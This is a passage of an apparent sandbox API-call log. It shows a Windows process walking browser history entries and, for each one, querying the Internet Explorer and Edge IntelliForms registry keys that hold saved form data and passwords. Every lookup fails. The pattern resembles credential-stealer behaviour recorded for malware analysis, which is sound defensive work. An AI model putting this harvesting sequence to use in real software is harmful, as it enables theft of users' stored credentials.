(lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/h6rzILMxje9AG.odt") returned 61 [0053.639] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.640] CoTaskMemFree (pv=0x736ad0) [0053.640] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.640] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/k7zh4yY.swf", lpSrch="?") returned 0x0 [0053.640] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/k7zh4yY.swf") returned 62 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.640] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.641] CoTaskMemFree (pv=0x736c68) [0053.641] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.641] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/8T2Yzi557X7D%20oilu.jpg", lpSrch="?") returned 0x0 [0053.641] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/8T2Yzi557X7D%20oilu.jpg") returned 99 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.641] CoTaskMemFree (pv=0x768638) [0053.641] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.641] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/OjUe9R5wUo.mkv", lpSrch="?") returned 0x0 [0053.641] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/tsVYmEsPdIq/OjUe9R5wUo.mkv") returned 99 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.641] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.642] CoTaskMemFree (pv=0x7688a8) [0053.642] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.642] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/b%20XijLkCai0.flv", lpSrch="?") returned 0x0 [0053.642] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/XwKiuJX1h/b%20XijLkCai0.flv") returned 68 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.642] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.642] CoTaskMemFree (pv=0x76ab00) [0053.642] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.643] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/OkOn58e2xb%20DSMd.jpg", lpSrch="?") returned 0x0 [0053.643] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/OkOn58e2xb%20DSMd.jpg") returned 76 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.643] CoTaskMemFree (pv=0x7592a0) [0053.643] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.643] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/SPP1HNA.swf", lpSrch="?") returned 0x0 [0053.643] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/Xv0i4/SPP1HNA.swf") returned 97 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.643] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.644] CoTaskMemFree (pv=0x768b18) [0053.644] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.644] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/7x64SqJgXq6AM.jpg", lpSrch="?") returned 0x0 [0053.644] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/7x64SqJgXq6AM.jpg") returned 93 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.644] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.644] CoTaskMemFree (pv=0x74b228) [0053.644] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.644] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/8WjgjvsnAuD.docx", lpSrch="?") returned 0x0 [0053.644] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/8WjgjvsnAuD.docx") returned 60 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.645] CoTaskMemFree (pv=0x736f10) [0053.645] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.645] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/wvDs4gEAz30rM.gif", lpSrch="?") returned 0x0 [0053.645] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/wvDs4gEAz30rM.gif") returned 59 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.645] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.646] CoTaskMemFree (pv=0x749510) [0053.646] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.646] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/lW-64Dyan.gif", lpSrch="?") returned 0x0 [0053.646] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Pictures/Or-om2X3XTF/jNLx83xclZOT6fWXxpRz/lW-64Dyan.gif") returned 89 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.646] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.646] CoTaskMemFree (pv=0x757ae0) [0053.646] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.646] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/g0cXpo9%20l_9.pdf", lpSrch="?") returned 0x0 [0053.647] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ymqYua5gihZXt5YY9sK/jLbI/Q_BidTkXLKw_9KnQ/--5T-LWBO4qPlwr80xX/g0cXpo9%20l_9.pdf") returned 123 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.647] RegOpenKeyExA (in: hKey=0x80000001, 